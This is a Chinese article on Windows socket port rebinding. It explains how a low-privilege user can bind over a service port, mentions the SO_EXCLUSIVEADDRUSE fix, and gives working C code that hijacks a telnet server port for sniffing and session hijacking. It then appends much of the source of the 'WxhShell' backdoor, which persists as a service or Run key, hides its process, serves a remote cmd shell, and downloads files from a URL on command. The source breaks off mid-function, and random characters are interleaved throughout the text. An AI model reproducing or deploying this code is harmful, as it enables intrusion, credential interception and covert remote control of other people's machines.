在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
QR?yG+VU s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
idc`p?XP <E;pgw! saddr.sin_family = AF_INET;
seFGJfN\?f =-cwXo{Q.O saddr.sin_addr.s_addr = htonl(INADDR_ANY);
l@j.hTO< vgIpj3u bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
%z]U LEYrZ i
LBvGZ<9 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
+.B<Hd t9gfU5? 这意味着什么?意味着可以进行如下的攻击:
1[F3 Z a`9L,8Ve 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
?rVy2! eO=s-]mk 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
h+.{2^x =rA~7+} 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
/gcEw!JS !2\ r LN 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
:nHKl
})xp%<` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
:%&Q-kk4! TQX)?^Ft 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
B3m_D"? 5[l8y, 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
a?}
.Fs zIC;7 5# #include
E9\vA*a #include
;DA8B'^> #include
e<7.y#L #include
YG:3Fhx0~ DWORD WINAPI ClientThread(LPVOID lpParam);
%)jxW{ int main()
rVvR!"//yH {
\?>Hu
v WORD wVersionRequested;
@53k8 DWORD ret;
'X).y1' WSADATA wsaData;
U/ V BOOL val;
{%)s.5Pfw SOCKADDR_IN saddr;
'crlA~/ SOCKADDR_IN scaddr;
c5q9LQ/ int err;
"]'?a$\ky: SOCKET s;
yw[ # SOCKET sc;
0C<[9Dl.G8 int caddsize;
>FjR9B HANDLE mt;
7qO a
;^T DWORD tid;
exh/CK4; wVersionRequested = MAKEWORD( 2, 2 );
|Z\R*b" err = WSAStartup( wVersionRequested, &wsaData );
N- e$^pST if ( err != 0 ) {
3P~o"a> printf("error!WSAStartup failed!\n");
j1?j6s return -1;
.M,RFC }
Wc3kO'J saddr.sin_family = AF_INET;
fy@avo9 Dih6mTP{ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
&*G<a3Q j.~!dh$mg saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
]$ afC!Z saddr.sin_port = htons(23);
G CRz<)1 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-U~ {
2Y}?P+:%> printf("error!socket failed!\n");
h'J|K^na return -1;
H|ozDA }
rrg96WD val = TRUE;
$p!yhn7 //SO_REUSEADDR选项就是可以实现端口重绑定的
xX3'bsN if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
^
PI 5L {
YzosZ! L!< printf("error!setsockopt failed!\n");
dpQG[vXe return -1;
{ pu85'DV }
J{ [n?/A{ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
7e7 M@8+4 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
=/<LSeLxH //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
1}hIW":3Sr 4%WzIzRb if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
_(J&aY\ {
ZZQG?("S' ret=GetLastError();
YDC mI@ printf("error!bind failed!\n");
KKA~#iCk return -1;
|r
ue=QZ }
Vc^HVyAx@n listen(s,2);
_0+0#! J! while(1)
jR=s#Xz {
>56>*BHD caddsize = sizeof(scaddr);
x@mL $ //接受连接请求
&aM7T_h8 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
GdB.4s^ if(sc!=INVALID_SOCKET)
ob+euCuJ {
f>'Y(dJ'W mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
T5urZq*R if(mt==NULL)
+% /s*EC'w {
0CSv10Tg printf("Thread Creat Failed!\n");
:^UFiUzrE break;
'c\iK=fl }
B1]bRxwn? }
zYXV; CloseHandle(mt);
f}guv~K }
_%'},Xd.z closesocket(s);
gTRF^knrY WSACleanup();
?!qY,9lhH return 0;
wf,7== }
fEB7j-t DWORD WINAPI ClientThread(LPVOID lpParam)
(E,T#uc{ {
!+u"3;%h SOCKET ss = (SOCKET)lpParam;
$/Aj1j`"9+ SOCKET sc;
L@=3dp!\Cu unsigned char buf[4096];
dEBcfya SOCKADDR_IN saddr;
2VW}9O long num;
Kn+S, 1r DWORD val;
Zmbfq8K DWORD ret;
zy*/T>{# //如果是隐藏端口应用的话,可以在此处加一些判断
kw2T> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
E.1J2Ne saddr.sin_family = AF_INET;
MX@IHc saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
!w
BJ,&E saddr.sin_port = htons(23);
TAjh"JJIV if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
h|X^dQb] {
fs/*V~@ printf("error!socket failed!\n");
VDTcR return -1;
KfF!{g f }
>u9Nz0?j val = 100;
Uye|9/w8 ! if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
W0I#\b18 {
Bc3:}+l ret = GetLastError();
9Fn\FYUq return -1;
!8`3GX:B_ }
;#w3{
NB if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
V I%
6.6D {
U]a*uF~h ret = GetLastError();
){jla,[ return -1;
H@]MXP[_ }
mf'V) if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
:[;hu}!& {
[w ;kkMJAy printf("error!socket connect failed!\n");
\h8 <cTQ closesocket(sc);
<w3!!+oK" closesocket(ss);
Z"unF9`"1 return -1;
g^zs,4pPU< }
fhB}9i^]tg while(1)
{v3P9s( {
yDNOt C| //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
HSq}7S&U //如果是嗅探内容的话,可以再此处进行内容分析和记录
k4 F"'N //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Cu6%h>@K$ num = recv(ss,buf,4096,0);
$1SUU F\. if(num>0)
vv26I send(sc,buf,num,0);
"Ks,kSEzu else if(num==0)
/dnCwFXf break;
ON+J>$[[ num = recv(sc,buf,4096,0);
jt+iv*2N> if(num>0)
uslQ*7S[^ send(ss,buf,num,0);
+}jJ&Z9) else if(num==0)
4@xE8`+bG break;
1?Z4K/ }
;;&}5jcV closesocket(ss);
hlt[\LP=$ closesocket(sc);
n_'{^6*O return 0 ;
*hcYGLx
r }
cu+FM [z7bixN I!^O)4QRx ==========================================================
fFQ|T:vm [`
sL?&a 下边附上一个代码,,WXhSHELL
6AocmR0D' EYA,hc ==========================================================
.bio7c6 /*0K92NB #include "stdafx.h"
7`u$ hpU2 #include <stdio.h>
B#9{-t3Vf #include <string.h>
@IXsy #include <windows.h>
(W}bG>!#Q8 #include <winsock2.h>
>rvQw63\ #include <winsvc.h>
}f2r!7:x #include <urlmon.h>
U(x]O/m m8.U &0 #pragma comment (lib, "Ws2_32.lib")
2#k5+?-c61 #pragma comment (lib, "urlmon.lib")
NVRLrJWpp u]OW8rc #define MAX_USER 100 // 最大客户端连接数
kZ"BBJ6w #define BUF_SOCK 200 // sock buffer
=FD;~ #define KEY_BUFF 255 // 输入 buffer
B5$kHM%p f5 `g #define REBOOT 0 // 重启
kwsp9 0) #define SHUTDOWN 1 // 关机
4bgqg0z> J`2"KzR0w" #define DEF_PORT 5000 // 监听端口
X]y)qV)a[c ={u0_j
W #define REG_LEN 16 // 注册表键长度
qgrg CJ #define SVC_LEN 80 // NT服务名长度
vx4+QQYP mkR2i> // 从dll定义API
G z)NwD typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Po%(~ )S> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Dl}$pN typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
O+ICol typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
t%8d-+$ c%qv9 // wxhshell配置信息
C`q@X(_ struct WSCFG {
?Q&yEGm( int ws_port; // 监听端口
g&{9VK6. char ws_passstr[REG_LEN]; // 口令
7VP32Eh[ int ws_autoins; // 安装标记, 1=yes 0=no
`/_G$_ char ws_regname[REG_LEN]; // 注册表键名
4ni3kmvX char ws_svcname[REG_LEN]; // 服务名
M+x,opl char ws_svcdisp[SVC_LEN]; // 服务显示名
1UQHq@aM char ws_svcdesc[SVC_LEN]; // 服务描述信息
G%Lt.?m[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
b6*!ACY int ws_downexe; // 下载执行标记, 1=yes 0=no
t]e;;q=L. char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
N\bocMc,X char ws_filenam[SVC_LEN]; // 下载后保存的文件名
ZWS`\M W|o'& };
N
8-oY$* ,GgAsj: K // default Wxhshell configuration
L31|\x] struct WSCFG wscfg={DEF_PORT,
e#k<d-sf6 "xuhuanlingzhe",
XO'l Nb. 1,
BGfzslK "Wxhshell",
L{c q, jk "Wxhshell",
FLY
Ca "WxhShell Service",
,`aq+K "Wrsky Windows CmdShell Service",
^,]B@t2 "Please Input Your Password: ",
!* OJ.W& 1,
LlSZr)X "
http://www.wrsky.com/wxhshell.exe",
iya"ky~H "Wxhshell.exe"
m?&1yU9 };
Y&K;l_ B2O} 1. // 消息定义模块
plZ>03(6Q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
CJ++?hB]X char *msg_ws_prompt="\n\r? for help\n\r#>";
Cn[0(s6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
^k\e8F/ char *msg_ws_ext="\n\rExit.";
LupkrxV char *msg_ws_end="\n\rQuit.";
3@]SKfoo1 char *msg_ws_boot="\n\rReboot...";
5v6Eii: char *msg_ws_poff="\n\rShutdown...";
{+@bZ}57 char *msg_ws_down="\n\rSave to ";
9rA=pH%<>B 1u9LdkhnY char *msg_ws_err="\n\rErr!";
p"U,G
-_ char *msg_ws_ok="\n\rOK!";
yR\btx|e5~ S1?-I_t+] char ExeFile[MAX_PATH];
2J;kSh1,L int nUser = 0;
M^]cM(swK5 HANDLE handles[MAX_USER];
x_dy~(* int OsIsNt;
Nj 00W1 (V HL{rj SERVICE_STATUS serviceStatus;
y(xJTj SERVICE_STATUS_HANDLE hServiceStatusHandle;
jfqopiSi H_QsNf // 函数声明
P$-X)c$& int Install(void);
DX|#
gUAm int Uninstall(void);
f^.AD- int DownloadFile(char *sURL, SOCKET wsh);
EEW_gFn int Boot(int flag);
jNC4_q& void HideProc(void);
y? co| int GetOsVer(void);
0xXC^jx: int Wxhshell(SOCKET wsl);
;I!MLI void TalkWithClient(void *cs);
jXMyPNTK int CmdShell(SOCKET sock);
xagBORg+Bd int StartFromService(void);
Dmu/RD5X: int StartWxhshell(LPSTR lpCmdLine);
Zp#v Hs g"> {9YE VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
bv*,#Qm VOID WINAPI NTServiceHandler( DWORD fdwControl );
aVd,xl :]1TGfS // 数据结构和表定义
ziCHjqT SERVICE_TABLE_ENTRY DispatchTable[] =
,YMp<C {
aT$9; {wscfg.ws_svcname, NTServiceMain},
Xqm::1(-( {NULL, NULL}
.>IhN 5 };
MHC^8VL b 'pOJS // 自我安装
8M`#pN^ int Install(void)
Z LD}a:s {
>:|q&|x- char svExeFile[MAX_PATH];
<|Pun8j HKEY key;
ez6EjUk strcpy(svExeFile,ExeFile);
r'*}TM'8 : 7`[$<~E // 如果是win9x系统,修改注册表设为自启动
h|"9LU4a if(!OsIsNt) {
Bb"Bg\le,^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[ra_ 2R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
G-.^O,% RegCloseKey(key);
A,LuD.8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
4BKI-;v$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
hHMN6i RegCloseKey(key);
byfJy^8G return 0;
iS<I0\D }
MEGv} }
O~^" }
Os1>kwC else {
n0e1k.A ]h5Yg/sms // 如果是NT以上系统,安装为系统服务
YS%h^>I^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
y)@[Sl> if (schSCManager!=0)
\0f{S40 {
W0]gLw9* SC_HANDLE schService = CreateService
5qP:/*+ (
qDfd. gL schSCManager,
[F6U+1n8e wscfg.ws_svcname,
SK#(#OQoh wscfg.ws_svcdisp,
*9{Z$IA9w SERVICE_ALL_ACCESS,
7F{3*`/6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
'5|h)Q5 SERVICE_AUTO_START,
|]X SERVICE_ERROR_NORMAL,
k<\$OoOZ svExeFile,
&E=>Hj(dTG NULL,
UaB @ NULL,
8{X"h# NULL,
3^6
d]f NULL,
ikSt"}/hd NULL
-xA2pYz" );
T]=r Co if (schService!=0)
+lMX{es\O {
Y1J=3Y CloseServiceHandle(schService);
ssN6M./6 CloseServiceHandle(schSCManager);
ktpaU,% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
6'Worj strcat(svExeFile,wscfg.ws_svcname);
E}nH1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
^*Yh@4\{JH RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
^kB8F"X RegCloseKey(key);
$H9%J return 0;
J:zU,IIJ }
P IwFF}<( }
3skC$mpJHw CloseServiceHandle(schSCManager);
,~]tg77 }
%s(k_|G+4 }
"pRtczxOgR b7p@Dn?E return 1;
aD$v2)RR }
S_IUV) TmV,&['mg // 自我卸载
Y/ .Z.FD` int Uninstall(void)
Us0EG\Y {
Z
Z:}AQ HKEY key;
j4uvS! K8UP,f2 if(!OsIsNt) {
io{@^1ab if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Qh'ATo RegDeleteValue(key,wscfg.ws_regname);
1NgCw\ RegCloseKey(key);
#T=LR@y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Pf\D-1gi RegDeleteValue(key,wscfg.ws_regname);
VYk!k3qS RegCloseKey(key);
EH!
q=&d return 0;
zPjHsulK }
9E>|=d|(d }
xY^%&n }
75/(??2 else {
2bkX}FWd; E{Ov>osq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
"q.\>MCv if (schSCManager!=0)
J2xw) + {
~ijVmWNk SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
B=^)Ub5' if (schService!=0)
ov_j4j>6P {
[8=vv7wS if(DeleteService(schService)!=0) {
)E-inHD / CloseServiceHandle(schService);
AN/;)wc CloseServiceHandle(schSCManager);
:lPb.UCY return 0;
n
T{3o;A }
U$WxHYo CloseServiceHandle(schService);
K|hjEQRv }
F|e1"PkeoA CloseServiceHandle(schSCManager);
#\ X#w<\? }
rp!oO>F }
4hTMbS_; noml8o return 1;
HiR[(5vnf }
e'~J,(fB ?7.7`1m!v // 从指定url下载文件
~l]ve,W[ int DownloadFile(char *sURL, SOCKET wsh)
lTV'J?8!-a {
}}\vV} s HRESULT hr;
C(#u[8 char seps[]= "/";
%}Ss,XJ char *token;
x:7b/j- char *file;
?&63#B,iZ char myURL[MAX_PATH];
/tf5Bv'< char myFILE[MAX_PATH];
!O:y@ y}My.c strcpy(myURL,sURL);
pEIRh1 token=strtok(myURL,seps);
GS a[
oh while(token!=NULL)
"AnC?c9?-^ {
ujR_"r|l file=token;
JNt^ (z token=strtok(NULL,seps);
r0+6evU2 }
SEGri#s @,cowar* GetCurrentDirectory(MAX_PATH,myFILE);
,D]QxbwZ strcat(myFILE, "\\");
pgE}NlW strcat(myFILE, file);
v*SEb~[ send(wsh,myFILE,strlen(myFILE),0);
N343qU send(wsh,"...",3,0);
Py@wJEo hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
OZ
|IA:,} if(hr==S_OK)
qUob?|
^ return 0;
2\jPv`Ia else
LWz&YF#T- return 1;
/
zB0J? w35J.zn }
a1+#3X. lyy W // 系统电源模块
QgU8s'e int Boot(int flag)
\eT5flC {
bzuEfFaL HANDLE hToken;
r^3acXl
TOKEN_PRIVILEGES tkp;
QxVq^H G
MX? if(OsIsNt) {
$c:ynjL|P- OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Vzdh8)Mu\ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
#Ssx!+q? tkp.PrivilegeCount = 1;
vd
0ljA tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
<`B,R*H{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
:D%"EJ if(flag==REBOOT) {
M<.d8?p ) if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
QS` PpyBkd return 0;
G~2jUyv }
E_])E`BJ else {
:(!`/#6H if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
aWWU4xe return 0;
mKL<<L[ }
Li/O }
rV R1wsaL else {
A: 5x| if(flag==REBOOT) {
5Iy;oZ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
K]s[5 return 0;
C":32_q }
Gb#Cm] else {
>L;eO'D if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
}z _ return 0;
"$ Y_UJT7 }
jkiFLtB@V }
bx{$Y_L+p w)kNkD return 1;
dZ rAn }
tD(7^GuR +cgSC5nR // win9x进程隐藏模块
RrX[|GLSJ void HideProc(void)
2ORNi,_I {
<lw`
3aa( j9?}j#@ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
EQb7-vhg if ( hKernel != NULL )
3DiLk=\~ {
wQP^WzNE pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
e vrXo"3 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
[SHXJ4P* FreeLibrary(hKernel);
%k-3?%&8 }
ein4^o<f. Kwefs;<E? return;
\Xm,OE_v" }
WQ[_hg|k "?ucO4d // 获取操作系统版本
q>$ev)W int GetOsVer(void)
DnCP
aM4% {
-8:&>~4` OSVERSIONINFO winfo;
NdtB1b winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Bg5Wba%NK GetVersionEx(&winfo);
C([phT; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
8$85^Of return 1;
T (OW else
v,
n$^R return 0;
'Jt]7;04p }
^?cz,N~ lE;Ewg // 客户端句柄模块
#!aN{nK0 int Wxhshell(SOCKET wsl)
{1V($aBl {
D7lK30 SOCKET wsh;
4]G?G]lS> struct sockaddr_in client;
@wpN6 / DWORD myID;
'(f&P=[b <3xyjX'NE while(nUser<MAX_USER)
x_|UPF {
4}_j`d/8| int nSize=sizeof(client);
uw[<5 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
*5vV6][ if(wsh==INVALID_SOCKET) return 1;
M=1n QF2J 4
Y;Nm1@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Mn9dqq~a if(handles[nUser]==0)
N^HUijw< closesocket(wsh);
2^mJ+v< else
9o;^[Ql- nUser++;
_,xc[ 07 }
g!$!F>[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
YP.5fq: r"``QmM return 0;
%X4xv_o`f }
tk!t
Y8j TD'L'm|2 // 关闭 socket
aGJC1x void CloseIt(SOCKET wsh)
lG4H:[5V {
tw^,G( closesocket(wsh);
:`-,Lbg nUser--;
OTGofd2zf ExitThread(0);
<KE 1f7c }
)~+E[| +=q$ x Ia // 客户端请求句柄
i`QKH void TalkWithClient(void *cs)
b7NM#Hb {
&y3OR1_Sm* 0~ZFv Wv SOCKET wsh=(SOCKET)cs;
X9p.gXF char pwd[SVC_LEN];
9z}uc@#D=m char cmd[KEY_BUFF];
W=#:.Xj[ char chr[1];
*of3:w int i,j;
9Wnn'T@Tl +?u~APjNN while (nUser < MAX_USER) {
q#vQv5 RA KFU if(wscfg.ws_passstr) {
d]:I(9K if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Xe<sJ.&Wf //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]$Yvj!K*Q //ZeroMemory(pwd,KEY_BUFF);
Fs{x(_LOr i=0;
q;<h[b? while(i<SVC_LEN) {
_CW(PsfY :uWw8` // 设置超时
v}1QH fd_set FdRead;
]8Q4BW struct timeval TimeOut;
k 8UO9r[ FD_ZERO(&FdRead);
1u:
gFUb FD_SET(wsh,&FdRead);
|+iws8xK? TimeOut.tv_sec=8;
txiP!+3OWB TimeOut.tv_usec=0;
5&v~i\Q int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
RRRCS]y7$t if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
4*Q#0`um ^.1c{0Y^0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
7on.4/;M pwd
=chr[0]; ?Cl%{2omO
if(chr[0]==0xd || chr[0]==0xa) { AtdlZ
pwd=0; 2] zq#6ix
break; A D1=[I3
} 9[G[$c
i++; [x9KVd ^d
} <_3b1VhZ
|&FkksNAl\
// 如果是非法用户,关闭 socket wQe_vY
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Pa~)"u8
} ~(Q)"s\1I
:^kZ.6Q@
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @&X|5p"[g
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -7S g62THS
Ezr:1 GJ
while(1) { /lo2y?CS*
k9L?+PD
ZeroMemory(cmd,KEY_BUFF); vH#huZA?7
2
dAB-d:k
// 自动支持客户端 telnet标准 ~ vJ,`?
j=0; W7 Cc
while(j<KEY_BUFF) { Zy o[(`y
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~xD={9BL
cmd[j]=chr[0]; VO$
iNK
if(chr[0]==0xa || chr[0]==0xd) { 8ELCs<xI
cmd[j]=0; sC='_h
break; TMig-y*[
} %KmiH
;U
j++; 5\e9@1Rc
} "tB;^jhRs
OU8Lldt
// 下载文件 Wzw7tLY._
if(strstr(cmd,"http://")) { ,QcF|~n
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8>0e*jC
if(DownloadFile(cmd,wsh)) +xrr?g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f ` R/
i
else <4P4u*/o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B5X(ykaX~
} f6p-s
y>
else { &Rvm>TC=
*q()f\
switch(cmd[0]) { @>p<3_Y1
j!]YNH@
// 帮助 fZ*+2T>
case '?': { vJ'2@f$
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s;3= {e.
break; M7@2^G]p
}
8DegN,?
// 安装 a>GyO&+Dkg
case 'i': { ~S8* t~
if(Install()) !t gi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >U%gctIg
else 1IZ3=6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hJZV}a|
break; y *fDwd~
} fp+gyTnd3
// 卸载 H[S%J3JI
case 'r': { qYlhlHD
if(Uninstall()) T~Gvp0r}h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0a}u;gt,4w
else jpO7'ivG
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BK,{N0
break; 4iKgg[)7`=
} Of4^?`
^
// 显示 wxhshell 所在路径 "x 3lQ
case 'p': { )XYv}U
char svExeFile[MAX_PATH]; fSs4ZXC
strcpy(svExeFile,"\n\r"); yF"1#{*y
strcat(svExeFile,ExeFile); =y0C1LD+
send(wsh,svExeFile,strlen(svExeFile),0); B2C$N0R#
break; {\c(ls{
} J2'Nd'
// 重启 WJ4li@T7V
case 'b': { /f|X(docI
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [3{W^WSOz
if(Boot(REBOOT)) ]Bjyi[#bg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); XpBj%e:
else { d`
jjGEj
closesocket(wsh); qzf!l"bT
ExitThread(0); 2T V X)q<\
} m^GJuPLW
break; Si6al78
} LIZRoG8
// 关机 ha(Z<
case 'd': { .y@oz7T5
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wPwXM!
if(Boot(SHUTDOWN)) ;#oie<
Vit
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Ye\p6v!+
else { <8d^^0
closesocket(wsh); <N_+=_
ExitThread(0); IE9XU9Kd
} W9D86]3Y
break; j(RWO
} E )5E$
// 获取shell =jX8.K4]
case 's': { 1:f9J
CmdShell(wsh); Z|5?7v;h5
closesocket(wsh); }>VG~u8
ExitThread(0); ,PWgH$+
break; v"OY 1<8
} u%$Zqee
// 退出 1oN^HG6O
case 'x': { ENGg
~D
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;9#Z@]p
CloseIt(wsh); -Xxqm%([71
break; 2\7`/,U6
} pO ml8SQf
// 离开 %2XHNW
case 'q': { z#]Jv!~EPE
send(wsh,msg_ws_end,strlen(msg_ws_end),0); rmE" rf
closesocket(wsh); RV5n,J
WSACleanup(); uWM{JEOl
exit(1); 8;Yx<woR
break; 4*e0 hWp
} BbgnqzU
} N1|$$9G+
} ZE2$I^DY-
0IfKJ*]M
// 提示信息 a^=-Mp
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3WUTI(
} ($}`R
xj1@
} Vzwc}k*Y
Fl1;;F
return; =
Wu
*+paQ
} 5lm<%
d"6&AJ5a
// shell模块句柄 ,:Lb7bFv>
int CmdShell(SOCKET sock) [L:o`j
{ |=$-Wu
STARTUPINFO si; +eX@U;J,g
ZeroMemory(&si,sizeof(si)); 4)U.5FBk
)
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?84
s4BpV1
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .R9IL-3fO
PROCESS_INFORMATION ProcessInfo; [BT/~6ovrZ
char cmdline[]="cmd"; Qt/8r*Oe
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z| V`B `
return 0; EpFQ|.mQ
} WC|.g,9#
gMaN)ESqd4
// 自身启动模式 ho0@ l
int StartFromService(void) Q)LM-ZJKQ
{ hED=u/ql[
typedef struct <j5NFJ9
{ S6AU[ASY.
DWORD ExitStatus; `~ * @q!
DWORD PebBaseAddress; 4( 1(e
